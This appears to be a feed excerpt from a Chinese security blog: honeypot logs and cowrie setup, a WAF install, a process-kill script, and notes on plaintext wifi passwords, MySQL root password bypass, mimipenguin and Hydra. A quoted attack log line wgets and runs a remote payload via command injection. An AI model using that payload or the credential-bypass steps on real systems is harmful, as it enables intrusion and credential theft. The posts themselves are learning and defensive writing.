建立匿名管道 pipe1,且 : 命令不会去读 pipe1,不影响反弹 shell 工作。如果把 : 换成同样不会读 stdintrue 命令,反弹 shell 仍然可以工作,但如果换成会读 stdin 的命令如 cat,反弹 shell 就无法工作了。

]]>
https://blog.werner.wiki/curl-reverse-shell-principle/feed/ 0
攻击无处不在 https://blog.werner.wiki/attacks-are-everywhere/ https://blog.werner.wiki/attacks-are-everywhere/#comments Sun, 25 Nov 2018 01:26:17 +0000 https://blog.werner.wiki/?p=442 0x01 SSH暴力破解

忽然收到腾讯云的报警短信,说是检测到来自某IP的异常登录行为,疑似被黑客入侵。于是我马上登录服务器,查看SSH登录失败日志,发现果然有人在暴力破解我的SSH用户名和密码。

$ lastb
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:03 - 09:03  (00:00)
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:02 - 09:02  (00:00)
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:00 - 09:00  (00:00)
butter   ssh:notty    13.251.164.85    Sun Nov 25 09:00 - 09:00  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:58 - 08:58  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:57 - 08:57  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:54 - 08:54  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:52 - 08:52  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:49 - 08:49  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:45 - 08:45  (00:00)
unix     ssh:notty    77.111.169.40    Sun Nov 25 08:44 - 08:44  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:44 - 08:44  (00:00)
butter   ssh:notty    13.251.164.85    Sun Nov 25 08:42 - 08:42  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:39 - 08:39  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:37 - 08:37  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:35 - 08:35  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:34 - 08:34  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:32 - 08:32  (00:00)
vpnguard ssh:notty    159.203.67.146   Sun Nov 25 08:27 - 08:27  (00:00)
elastics ssh:notty    111.230.245.244  Sun Nov 25 08:26 - 08:26  (00:00)

这里只展示了命令输出的一小部分,暴力破解是2018年11月3日09:38开始的,以每秒几次的速率一直持续到现在。到目前为止,共计尝试了18957次。

# lastb | wc -l
18957

更可怕的是,这一万多次暴力破解来自一千多个不同的IP地址。

# lastb | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | sort | uniq | wc -l
1397

0x02 Web扫描

前端时间在一台有公网IP地址的服务器上开了Python的静态HTTP服务器以下载一个文件,忘记关闭,过了一段时间去关,发现访问日志充满了漏洞扫描和暴力破解。十几天里有三千多条攻击记录。节选部分如下:

47.203.93.156 - - [04/Aug/2018 14:31:00] code 404, message File not found
47.203.93.156 - - [04/Aug/2018 14:31:00] "GET http://httpheader.net/ HTTP/1.1" 404 -
47.203.93.156 - - [04/Aug/2018 14:31:11] code 400, message Bad request syntax ('\x04\x01\x00P\xc0c\xf660\x00')
47.203.93.156 - - [04/Aug/2018 14:31:11] " P纁?0 " 400 -
47.203.93.156 - - [04/Aug/2018 14:31:21] code 400, message Bad request syntax ('\x05\x01\x00')
47.203.93.156 - - [04/Aug/2018 14:31:21] " " 400 -
156.212.246.226 - - [05/Aug/2018 10:49:15] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 404 -
115.231.233.9 - - [05/Aug/2018 11:45:39] "GET /phpMyAdmin/index.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:32] code 501, message Unsupported method ('PROPFIND')
186.23.59.137 - - [05/Aug/2018 12:42:33] "GET /help.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:37] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:37] "GET /_query.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:38] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:38] "GET /test.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:53] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:53] "GET /log.php HTTP/1.1" 404 -
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /56.php HTTP/1.1" 501 -
125.27.179.27 - - [06/Aug/2018 23:00:27] code 501, message Unsupported method ('POST')
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /mz.php HTTP/1.1" 501 -
94.23.220.43 - - [07/Aug/2018 00:56:00] "GET /CFIDE/administrator/ HTTP/1.1" 404 -
117.27.159.157 - - [09/Aug/2018 16:06:57] "GET /index.action HTTP/1.1" 404 -
209.141.55.13 - - [10/Aug/2018 18:04:36] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 -
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /hm.php HTTP/1.1" 501 -
119.23.26.66 - - [11/Aug/2018 10:14:34] code 501, message Unsupported method ('POST')
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /cainiao.php HTTP/1.1" 501 -
5.8.54.27 - - [21/Aug/2018 09:48:30] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 -

0x03 使用蜜罐防范攻击

这两件事情让我意识到,网络攻击无处不在。真正的黑客虽然不多,但自动化的攻击让每个黑客都可以贡献出巨大的流量。

如何应对这类攻击呢?我以docker的方式安装了中等交互蜜罐cowrie

我的系统是Ubuntu14.04,安装过程如下:

1.修改SSH服务端口

在部署蜜罐前先将SSH服务的端口改掉,这通过修改配置文件来完成:

vim /etc/ssh/sshd_config

修改后重启SSH服务使得新配置生效:

sudo /etc/init.d/ssh restart

2.安装docker版cowrie蜜罐

首先安装docker:

sudo wget -qO- https://get.docker.com/ | sh

然后将一个非root用户添加到docker组,这样就能以非root用户运行docker:

sudo usermod -aG docker no-root-user

接着下载cowrie镜像:

docker pull cowrie/cowrie

最后运行cowrie蜜罐:

docker run -p 22:2222 cowrie/cowrie

参数-p做了端口映射,将主机的22端口映射到docker容器的2222端口(cowrie默认的SSH服务端口)。

3.查看cowrie的输出

刚刚运行就看到了大量的日志,截取部分如下:

2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] NEW KEYS
2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] starting service b'ssh-userauth'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] b'acogec' trying auth b'password'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] Could not read etc/userdb.txt, default database activated
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] login attempt [b'acogec'/b'acogec123'] failed
2018-12-01T01:41:12+0000 [-] b'acogec' failed auth b'password'

后台运行可添加参数-d:

docker run -d -p 22:2222 cowrie/cowrie:latest

在后台运行时如何查看日志呢?

先查看cowrie的CONTAINER ID:

$ docker ps
CONTAINER ID        IMAGE                  COMMAND             CREATED             STATUS              PORTS                            NAMES
5f09eab15463        cowrie/cowrie:latest   "cowrie start -n"   6 minutes ago       Up 6 minutes        2223/tcp, 0.0.0.0:22->2222/tcp   confident_panini

然后进入到容器内部:

docker exec -it 5f09eab15463 /bin/bash

进入容器内部后就可以查看日志了:

cat ~/cowrie-git/var/log/cowrie/cowrie.json

4.配置cowrie输出到sqlite3数据库

但这样看到的日志是JSON格式的,不便于统计。cowrie提供了输出到数据库的功能,只是docker中没有配置。现在我们来配置它:

首先以root用户身份进入到docker容器中:

docker exec -u root -it 5f09eab15463 /bin/bash

安装用于修改配置文件的vim:

apt-get install vim

安装数据库sqlite3,之所以使用sqlite3是因为该数据库较为轻量,占用内存较少:

apt-get install sqlite3

接着新建配置文件cowrie.cfg,内容如下:

# cat cowrie-git/cowrie.cfg
[output_sqlite]
enabled = true
db_file = cowrie.db

然后初始化数据库,cowrie.db也在目录cowrie-git下:

sqlite3 cowrie.db < docs/sql/sqlite3.sql

修改配置文件和数据库文件的所有者:

chown cowrie:cowrie cowrie.cfg
chown cowrie:cowrie cowrie.db

保存对容器的修改:

docker commit 5f09eab15463 cowrie/cowrie

最后退出容器,重启docker:

docker stop 5f09eab15463
docker run -d -p 22:2222 cowrie/cowrie:latest

重启后过段时间进入到容器内部,查看数据库中数据:

# sqlite3 cowrie.db 
SQLite version 3.16.2 2017-01-06 16:32:41
Enter ".help" for usage hints.
sqlite> .table
auth             input            sensors        
clients          keyfingerprints  sessions       
downloads        params           ttylog         
sqlite> select * from auth;
1|a09fd9f00e15|0|michel|password123|2018-12-01T03:08:28.423070Z
2|c1855fc2dde7|0|ale|ale|2018-12-01T03:09:17.309824Z
3|92d390074e0b|0|weblogic|654321|2018-12-01T03:09:38.139350Z
4|8c0a4a1c1c57|0|b2|b2|2018-12-01T03:09:39.818113Z
5|8b7369499a3d|0|joshua|joshua123|2018-12-01T03:09:57.069270Z
6|6ef4f60e0961|0|matilda|123456|2018-12-01T03:09:59.964616Z
7|f7ed2d311e5a|0|ftpadmin|test|2018-12-01T03:10:02.564809Z
8|22ff162f41eb|0|postgres3|postgres3|2018-12-01T03:10:04.318106Z
9|2201f65fcab2|1|root|admin|2018-12-01T03:10:12.634901Z
10|338193bafc29|0|odoo|12|2018-12-01T03:10:13.408241Z
11|6bbfa429bbcd|0|whiting|whiting123|2018-12-01T03:10:30.459699Z
sqlite>.exit

在auth表中可以看到暴力破解使用的用户名和密码。

5.参考

0x04 其他

这是我第一次使用docker,觉得很方便。操作起来颇有一种git的感觉。

]]>
https://blog.werner.wiki/attacks-are-everywhere/feed/ 8
Ubuntu中安装ngx_lua_waf https://blog.werner.wiki/install-ngx_lua_waf-in-ubuntu/ https://blog.werner.wiki/install-ngx_lua_waf-in-ubuntu/#respond Mon, 25 Sep 2017 10:12:57 +0000 http://blog.werner.wiki/?p=352 零、缘由

我想给nginx安装一个WAF,在尝试了安全狗和云锁并均告失败后,我搜到了ngx_lua_waf这一开源、轻量、易于定制的WAF,于是决定试试。下面记录了我安装ngx_lua_waf的过程,操作系统是Ubuntu Server 14.04。

一、安装

1.安装Luagit

    wget http://luajit.org/download/LuaJIT-2.1.0-beta1.tar.gz
    tar -xvf LuaJIT-2.1.0-beta1.tar.gz
    cd LuaJIT-2.1.0-beta1
    make
    make install
    ln -sf luajit-2.1.0-beta1 /usr/local/bin/luajit

2.安装Openresty

    cd /usr/bin && sudo ln -s make gmake
    apt-get install libpcre3 libpcre3-dev
    apt-get install openssl libssl-dev
    wget https://openresty.org/download/openresty-1.11.2.5.tar.gz
    tar -xvf openresty-1.11.2.5.tar.gz
    cd openresty-1.11.2.5
     ./configure --prefix=/opt/openresty   --with-luajit     --without-http_redis2_module       --with-http_iconv_module
    gmake
    gmake install

测试Openresty安装是否成功:修改配置文件:/opt/openresty/nginx/conf/nginx.conf,将其内容修改为:

    worker_processes  1;
    error_log logs/error.log info;

    events {
        worker_connections 1024;
    }

    http {
        server {
            listen 8003;

            location / {
                content_by_lua 'ngx.say("hello world.")';
            }
        }
    }

然后启动nginx:

    cd /opt/openresty/nginx/sbin/
    ./nginx

最后访问127.0.0.1:8003,若显示“hello world.”说明安装成功,如下图所示:

openresty运行测试

为方便起见,上图直接用curl命令访问了127.0.0.1:8003。

3.下载并配置ngx_lua_waf

先进入到目录opt/openresty/nginx/:

    cd /opt/openresty/nginx/

然后下载ngx_lua_waf:

    git clone https://github.com/loveshell/ngx_lua_waf.git

再修改nginx的配置文件nginx.conf,在其中加入对ngx_lua_waf的调用,修改后的nginx.conf如所示:

    worker_processes  1;
    error_log logs/error.log info;

    events {
        worker_connections 1024;
    }

    http {
        lua_package_path "/opt/openresty/nginx/ngx_lua_waf/?.lua";  ###相关项目存放地址
        lua_shared_dict limit 10m;                       ###存放limit表的大小
        init_by_lua_file  /opt/openresty/nginx/ngx_lua_waf/init.lua; ###相应地址
        access_by_lua_file /opt/openresty/nginx/ngx_lua_waf/waf.lua; ##相应地址
        server {
            listen 8003;

            location / {
                content_by_lua 'ngx.say("hello world.")';
            }
        }
    }

最后打开ngx_lua_waf的配置文件/opt/openresty/nginx/ngx_lua_waf/config.lua按需修改配置文件,如修改ngx_lua_waf路径和日志路径为

    RulePath = "/opt/openresty/nginx/ngx_lua_waf/wafconf"
    attacklog = "on"
    logdir = "/opt/openresty/nginx/logs/waf/"

对应地,需要手动创建日志目录:

    mkdir /opt/openresty/nginx/logs/waf/
    chown nobody:nogroup /opt/openresty/nginx/logs/waf/

三、测试

下面进行测试,先启动nginx:

    cd /opt/openresty/nginx/sbin/
    ./nginx

然后在浏览器中输入具有明显攻击特征的URL——“/?id=select 1,2 from test”——进行测试,如下图所示:

ngx_lua_waf发挥作用

可见,WAF安装成功,并发挥作用,拦截了恶意请求。再查看日志,如下图所示:

ngx_lua_waf的日志

四、参考

]]>
https://blog.werner.wiki/install-ngx_lua_waf-in-ubuntu/feed/ 0
一个linux下限制进程的小脚本 https://blog.werner.wiki/limiting-process-scripts-in-linux/ https://blog.werner.wiki/limiting-process-scripts-in-linux/#respond Wed, 20 Sep 2017 10:07:07 +0000 http://blog.werner.wiki/?p=339 缘起

最近在做一门课程设计,需要实现这样的功能:在linux操作系统中部署一个网站,当网站部署完毕后,监控操作系统中的进程,杀死所有不在白名单中的进程,以防止恶意程序运行。大概搜索了下,没有找到现成可用的解决方案,决定自己实现。

设计

在linux中有许多系统必须的进程,若将这些进程都纳入白名单则白名单的配置会很繁琐。
简单起见,我们选择在操作系统启动完成、稳定运行后再运行限制进程的程序,检测新生进程,若不在白名单中则杀死该进程。
已经运行了较长时间的进程则被默认为系统进程而不做处理。

如何检测新生进程?用“ps -aux”命令查看进程,可以看到有名为START的列为进程启动时间,通过启动时间可以得知进程是否新生。该命令输出如下所示:

    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.0  34124  4660 ?        Ss   18:09   0:01 /sbin/init
    root         2  0.0  0.0      0     0 ?        S    18:09   0:00 [kthreadd]
    root         3  0.0  0.0      0     0 ?        S    18:09   0:00 [ksoftirqd/0]
    root         5  0.0  0.0      0     0 ?        S    18:09   0:00 [kworker/0:0H]
    root         7  0.0  0.0      0     0 ?        S    18:09   0:01 [rcu_sched]

但“ps -aux”命令输出的内容太多了,我们实际上只需要PID、START和COMMAND这三列信息就足够了。
用“man ps”查看“ps”命令的帮助,发现竟然有一千多行,还真是个强大的命令。从man手册中,我找到了想要的参数“ps -eo “%p%t%c””,该命令输出如下所示:

    PID     ELAPSED COMMAND
    1       50:59 init
    2       50:59 kthreadd
    3       50:59 ksoftirqd/0
    5       50:59 kworker/0:0H
    7       50:59 rcu_sched
    8       50:59 rcu_bh
    9       50:59 migration/0
    10      50:59 watchdog/0

PID和COMMAND都在,START没有了,取而代之的是ELAPSED——运行时长,这样处理起来就更方便了。
读取各个进程的信息,若某个进程的ELAPSED小于一个阈值,则判断该进程是否位于白名单中,若不在白名单中,则杀死它。

如何杀死一个进程呢?我们通过“ps”命令已经知道要杀死的进程的PID了,所以用kill命令就可以杀死进程。
kill命令实际上是在向目标进程发送信号,不加任何参数默认发送的信号是SIGTERM,这一信号是可以被目标进程忽略的,所以这里要加上参数“-KILL”,发送无法忽略的信号SIGKILL,这样能更为有效地杀死进程。
当然,为了避免没有权限而无法杀死进程,杀死进程的操作要有root权限。

进程是在不断产生的,进程检测也需要不断进行。如何周期性地检测进程呢?写一个死循环并sleep当然是一种方法,但在linux中有更方便地crontab(定时任务)。假设我们检测、限制进程的脚本名叫“pctrl.py”(是的,我是用Python实现的),放在目录“/opt/”中,则可以这样做:先用命令“sudo su”切换到root身份,然后执行命令“crontab -e”来编辑定时任务的配置文件,在其中加入一行,内容为:

    */1 * * * * /usr/bin/python /opt/pctrl.py

保存并退出后脚本“pctrl.py”便会以root权限每分钟被执行一次。分钟级是crontab所能达到的最小的时间粒度,想要更小的时间粒度,只能在脚本中实现了。例如,我想要每0.5秒检测一次,则脚本中应该有一个120次的循环,每次循环sleep半秒。

最后,日志也是很关键的。所有尝试杀死的进程都可能是恶意程序,记录日志是必要且有价值的。我们设计日志中输出时间、进程号、程序名(COMMAND)和是否成功杀死它,若失败,则也输出失败原因(失败原因即kill命令的输出)。

实现

用Python来实现上述设计。Python执行系统命令使用了库commands,用该库执行系统命令可以返回命令执行结果状态和命令输出,这些都是我们需要的。脚本“pctrl.py”内容如下:

    #!/usr/bin/python
    # ^_^ coding:utf8 ^_^

    ###############################################
    # sudo su                                     #
    # crontab -e                                  #
    # */1 * * * * /usr/bin/python /opt/pctrl.py   #
    ###############################################

    import os
    import sys
    import time
    import logging
    import commands

    #配置日志,根据实际情况修改日志路径
    logging.basicConfig(level=logging.DEBUG,
                    format='[%(asctime)s] [%(levelname)s] %(message)s',
                    datefmt='%Y.%m.%d %H:%M:%S',
                    filename='/var/log/pctrl.log',
                    filemode='a+')

    #配置白名单,根据实际需要修改白名单内容
    white_list = ['/usr/sbin/apache2 -k start']

    #杀死进程
    def killprocess(pid, comm):
        (status, output) = commands.getstatusoutput('kill -KILL ' + pid)
        if status == 0:
            logging.info('Successfully killed the process ' + pid + ': ' + comm)
        elif 'kill: No such process' not in output:
            reason = output.replace('\n', '')
            logging.warning('Failed to kill the process '     /
                            + pid + ': ' + comm + ': '+ reason)

    #检测进程
    def monitorprocess(timelimit):
        (status, output) = commands.getstatusoutput('ps  -eo "%p_%t_%c"')
        if status == 0:    
            processes = output.split('\n')[1:]
            for process in processes:
                process = process.replace(' ', '').split('_')
                pid = process[0]
                time = process[1].split(':')
                time = int(time[0])*60 + int(time[1])
                comm = process[2]
                if str(os.getpid()) == pid:
                    #不杀死自己
                    continue
                if comm in white_list:
                    #不杀死在白名单中的程序
                    continue
                if time < timelimit:
                    killprocess(pid, comm)
        else:
            logging.warning('The process of obtaining information failed')

    if __name__ == '__main__':
        for i in range(0, 120):
            monitorprocess(60)
            time.sleep(0.5)

测试

将上述脚本部署到测试用的安装了Apache服务器的虚拟机中进程测试。
部署完成后确实无法启动各种耗时较长的程序,而类似ifconfig这样一瞬间就能执行完毕的程序则不受影响。
从另一台机器访问测试虚拟机中的网站,发现Web服务是不受影响的。

查看“pctrl.py”的日志如下所示:

    test@test-VirtualBox:~$ cat /var/log/pctrl.log 
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6270: crontab
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6271: sh
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6272: sensible-editor
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6280: select-editor
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6294: cron
    [2017.09.20 19:41:01] [INFO] Successfully killed the process 6295: sh
    [2017.09.20 19:41:04] [INFO] Successfully killed the process 6327: crontab
    [2017.09.20 19:41:04] [INFO] Successfully killed the process 6328: sh
    [2017.09.20 19:41:04] [INFO] Successfully killed the process 6329: sensible-editor
    [2017.09.20 19:41:04] [INFO] Successfully killed the process 6337: editor
    [2017.09.20 19:41:37] [INFO] Successfully killed the process 6614: firefox
    [2017.09.20 19:41:37] [INFO] Successfully killed the process 6620: firefox<defunct>
    [2017.09.20 19:41:42] [INFO] Successfully killed the process 6680: gnome-screensho

若不关闭crontab而直接重启操作系统,很可能会导致系统无法重启。所以在关机前,一定要先关闭crontab。

总结

整个脚本写完后自己很不满意,怎么看都很幼稚。我虽然用了两年Ubuntu,但并不了解其细节,所以只能想出这种水平的实现方法。
这种方式有诸多缺点:

  • 部署、关闭都很不方便
  • 要频繁检测,不是触发式的,消耗资源较多
  • 恶意程序开机时就运行则无效
  • 恶意进程在0.5秒内执行完毕则无效
  • 恶意进程被隐藏,用ps命令看不到则无效
  • 恶意程序以正常进程子线程的方式运行则无效
]]>
https://blog.werner.wiki/limiting-process-scripts-in-linux/feed/ 0
Ubuntu明文存储用户wifi密码 https://blog.werner.wiki/ubuntu-plaintext-wifi-password/ https://blog.werner.wiki/ubuntu-plaintext-wifi-password/#comments Tue, 19 Sep 2017 10:00:38 +0000 http://blog.werner.wiki/?p=333 听说Ubuntu桌面版会明文存储用户输入的wifi密码。

来做个实验,先随便连几个wifi,随便输个密码,如下图所示:

wifi列表

然后进入存储用户wifi密码的目录:

  cd /etc/NetworkManager/system-connections

查看密码,如下图所示:

wifi密码

每一个wifi对应着一个以wifi名命名的独立文件,文件中“psk=”后边便是该wifi的密码,明文存储。可见,Ubuntu桌面版确实明文存储用户输入的wifi密码。

一个完整的wifi文件内容如下所示:

  [connection]
  id=猎豹免费WiFi700
  uuid=a588ff36-3b01-44d0-b3fb-05d1a3cf9606
  type=802-11-wireless

  [802-11-wireless]
  ssid=231;140;142;232;177;185;229;133;141;232;180;185;87;105;70;105;55;48;48;
  mode=infrastructure
  mac-address=00:71:CC:98:60:FF
  security=802-11-wireless-security

  [802-11-wireless-security]
  key-mgmt=wpa-psk
  auth-alg=open
  psk=p@ssW0rd

  [ipv4]
  method=auto

  [ipv6]
  method=auto

所有信息都是以文本文件明文存储的,除了用户密码外,还保存着wifi名、MAC地址、SSID等信息。
虽然读取该文件需要root权限,但这依旧很不安全,因为这些数据没有任何加密就保存在磁盘上,攻击者有很多方法绕过操作系统的权限控制,读取文件内容。

由于wifi密码要拿去做登录验证,所以存储密码的Hash值显然是不行的。但Ubuntu为何要将一个用户输入的wifi密码保存到/etc目录中而不是用户自己的主目录呢?在Ubuntu中,用户目录是可选加密的,若用户选择了加密自己的主目录,则将密码保存在用户主目录中会更安全。/etc目录不属于某个用户所有,是系统目录。将wifi密码保存在系统目录中,便有各个用户共享的含义。确实是这样,在ubuntu的网络配置中,默认勾选了“All users may connect to this network”(Edit Connections…->选择一个wifi->Edit…->General),如下图所示:

wifi配置

去掉这个选项前的钩,再输入密码,然后去查看该wifi对应的文件,发现其中没有保存明文密码,并出现了

  permissions=user:werner:;

以表明该wifi是哪个用户连接的。完整的wifi文件如下所示:

  [connection]
  id=AJack
  uuid=686ada98-1f4d-4bc2-9286-cd9c13fdb323
  type=802-11-wireless
  permissions=user:werner:;

  [802-11-wireless]
  ssid=AJack
  mode=infrastructure
  mac-address=00:71:CC:98:60:FF
  security=802-11-wireless-security

  [802-11-wireless-security]
  key-mgmt=wpa-psk
  wep-key-flags=1
  psk-flags=1
  leap-password-flags=1

  [ipv4]
  method=auto

  [ipv6]
  method=auto

在这种情况下,wifi密码又保存在哪里?我在整个磁盘范围内搜索名为“AJack”的文件,结果只找到了一个,就是上面那个。又查了一些资料,也没有找到,只好暂时搁置这一问题。

]]>
https://blog.werner.wiki/ubuntu-plaintext-wifi-password/feed/ 2
Linux中不知道密码登录Mysql https://blog.werner.wiki/mysql-no-password-login/ https://blog.werner.wiki/mysql-no-password-login/#respond Mon, 18 Sep 2017 09:56:08 +0000 http://blog.werner.wiki/?p=328 Linux中不知道Mysql的root账户的登录密码该如何登录Mysql?
下面提供两种方式:一是使用skip-grant-tables跳过密码验证,二是修改存储在磁盘上的root账户的登录密码的Hash值。

测试环境:Ubuntu14.04 + Mysql5.5.57。

skip-grant-tables

顾名思义,“skip-grant-tables”是跳过授权表,不用密码便可以root身份登录,具有完全的root用户权限,可以修改root密码。

在网上找到一些文章,说停止Mysql服务后以“–skip-grant-tables”为参数启动Mysql便可以免密码登录,但在我的测试中,这种方式是无效的。有效的方法是在Mysql的配置文件中添加“skip-grant-tables”,再重启Mysql,之后便可以免密码登录。

在Linux中,Mysql的配置文件是my.cnf,它位于/etc/my.cnf或是/etc/mysql/my.cnf等,具体在哪,取决于Linux发行版本和Mysql安装方式。打开my.cnf,搜索“[mysqld]”,在这行下面添加一行,内容为:“skip-grant-tables”,如下图所示:

修改my.cnf文件

添加完成后重启Mysql服务,在我的测试环境中,用如下命令重启Mysql服务:

    sudo /etc/init.d/mysql restart

此时再登录Mysql,便不需要密码了,如下图所示:

无密码登录Mysql

修改root用户密码Hash值

Linux中,Mysql用户密码以Hash值的形式存储在文件user.MYD中,可用如下命令找到该文件位置:

  sudo find / -name user.MYD

查看该文件同样需要sudo权限,用cat命令查看该文件内容如下图所示:

可以看到该文件中有许多长得很像Hash值的东西。我们自己计算一个已知的字符串的Hash值,替换掉该文件中的Hash值,便可以达到修改root密码的目的。

这里有一个问题,Mysql在保存用户密码时使用了什么Hash算法?简单谷歌一下便知道,使用的算法如下:

  mysql> select concat('*',sha1(unhex(sha1('toor'))));
  +-------------------------------------------+
  | concat('*',sha1(unhex(sha1('toor'))))     |
  +-------------------------------------------+
  | *9cfbbc772f3f6c106020035386da5bbbf1249a11 |
  +-------------------------------------------+
  1 row in set (0.00 sec)

基本上是做了两次sha1,再在所得字符串前加上“*”,只不过在两次sha1中间还有一个unhex函数,
该函数的作用是将每对十六进制数字转化为一个字符,如unhex(‘616263’)的输出为“abc”。

此外,Mysql有内置函数password,可直接计算密码的Hash值:

    mysql> select password('toor');
    +-------------------------------------------+
    | password('toor')                          |
    +-------------------------------------------+
    | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
    +-------------------------------------------+
    1 row in set (0.00 sec)

好了,现在用“9cfbbc…1”替换user.MYD文件中的“6B8252…B”,保存后尝试用密码“toor”登录Mysql的root用户,登录失败!
推测Mysql对该文件有所缓存,故重启Mysql,再次尝试用“toor”登录Mysql的root用户,这次成功登录。

参考文献

]]>
https://blog.werner.wiki/mysql-no-password-login/feed/ 0
使用mimipenguin获取linux明文登录密码 https://blog.werner.wiki/use-mimipenguin-get-linux-plain-passwd/ https://blog.werner.wiki/use-mimipenguin-get-linux-plain-passwd/#respond Sat, 12 Aug 2017 09:37:15 +0000 http://blog.werner.wiki/?p=305 无意间听说有个叫做mimipenguin的神奇工具可以直接获取linux的明文登录密码,在Kali下试了下,真的可以,如下图所示:

mimipenguin获取kali登录密码

mimipenguin是直接从内存中读取明文密码的,除了登录密码,还可以获取其他服务的密码,有shell和Python两个版本,两个版本支持的服务如下表所示,“X”表示完全支持,“~”表示有已知bug:

Feature .sh .py
GDM password (Kali Desktop, Debian Desktop) ~ X
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) X X
VSFTPd (Active FTP Connections) X X
Apache2 (Active HTTP Basic Auth Sessions) ~ ~
OpenSSH (Active SSH Sessions – Sudo Usage) ~ ~

官方给出的支持的系统有:

  • Kali 4.3.0 (rolling) x64 (gdm3)
  • Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
  • Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
  • XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
  • Archlinux x64 Gnome 3 (Gnome Keyring 3.20)
  • OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)
  • VSFTPd 3.0.3-8+b1 (Active FTP client connections)
  • Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]
  • openssh-server 1:7.3p1-1 (Active SSH connections – sudo usage)

我在自己的Ubuntu Desktop 14.04 LTS x64上试了下,果然不支持。

(2017.09.22:又在Ubuntu Desktop 14.04 LTS x64上试了下,竟然成功了,如下图所示:)

mimipenguin获取Ubuntu登录密码

mimipenguin其实是有些鸡肋的,因为要成功地运行它,需要root权限,而在linux中,获得root权限往往是要输入密码的。我既然都已经知道密码了,干嘛要用mimipenguin呢?

兄弟文章:使用mimikatz获取Win7明文登录密码

(2017.09.22:mimipenguin的原理分析见:mimipenguin.py源码解读

]]>
https://blog.werner.wiki/use-mimipenguin-get-linux-plain-passwd/feed/ 0
暴力破解在线服务的工具Hydra https://blog.werner.wiki/online-brute-force-tool-hydra/ https://blog.werner.wiki/online-brute-force-tool-hydra/#respond Mon, 31 Jul 2017 08:38:41 +0000 http://blog.werner.wiki/?p=273 hashcat可以高速破解各种hash值,整个破解过程完全是在本地运行的,和网络无关。而很多时候,我们是需要暴力破解各种在线服务的用户名和密码的,这时hashcat便派不上用场了。在以前,遇到这种情况,我都是用BurpSuite来破解,现在,有了更多的选择————Hydra。

Hydra号称是世界顶级的密码暴力破解工具,专业破解各种网络服务的用户名和密码,几乎支持所有知名服务,我的Kali中的Hydra是v8.3,支持的网络服务有:

asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

我知道的网络服务它都有所覆盖,看上去好强。嗯,强大到它特意提醒,不要用于军队和秘密组织,或是其他非法用途。

其实Hydra是很容易使用的,命令语法如下:

    hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SOuvVd46] [service://server[:PORT][/OPT]]

之所以要特意写一篇博文,就是为了记录一下有这么一个工具。但若到此为止,这篇文章也未免太水了点,所以,翻译下Hydra各个参数的意思吧:

  -R        恢复前一次失败的或缓存的攻击
